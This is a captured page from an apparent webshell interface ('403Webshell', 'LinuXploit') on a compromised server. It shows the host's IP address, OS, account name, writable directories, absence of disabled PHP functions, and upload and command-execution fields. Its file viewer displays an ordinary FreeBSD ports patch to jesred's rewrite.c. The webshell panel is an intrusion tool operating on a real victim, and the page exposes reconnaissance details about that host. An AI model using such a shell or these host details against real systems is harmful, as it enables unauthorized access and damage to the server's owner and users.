403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/www/jesred/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/www/jesred/files/patch-rewrite.c
--- rewrite.c.orig	Sat Aug 15 09:01:15 1998
+++ rewrite.c	Mon Jun  4 09:51:42 2007
@@ -60,7 +60,7 @@
     int c, i;
     struct in_addr address;
     char *token, *new_token;
-    char *end[4];
+    char *end[5];
     
     c = 0;
     token = strchr(buff,' ');
@@ -87,11 +87,17 @@
 		    *new_token = '\0';
 		    end[3] = new_token;
 		    *method = token;
+		    new_token = strchr(token,' ');
+		    if (new_token) {
+			c++;
+			*new_token = '\0';
+			end[4] = new_token;
+		    }
 		}
 	    }
 	}
     }
-    if(c != 4) {
+    if(c < 4) {
 	for(i = 0; i < c; i++) {
 	    if ( end[i] )
 		*end[i] = ' ';
@@ -104,16 +110,16 @@
 #endif    
     
     /* all methods must be GET or ICP_QUERY */
-    c = 0;
+    i = 0;
     if (allow_siblings && (! strcmp(*method, "ICP_QUERY")) )
-	    c--;
+	i--;
     if( strcmp(*method, "GET") )
-	c++;
-    if ( c ) {
+	i++;
+    if ( i ) {
 #ifdef DEBUG
-	for(c = 0; c < 4; c++) {
-	    if ( end[c] )
-		*end[c] = ' ';
+	for(i = 0; i < c; i++) {
+	    if ( end[i] )
+		*end[i] = ' ';
 	}
 	log(DEBG, "method not \"GET\" %s\n", buff);
 #endif	

Youez - 2016 - github.com/yon3zu
LinuXploit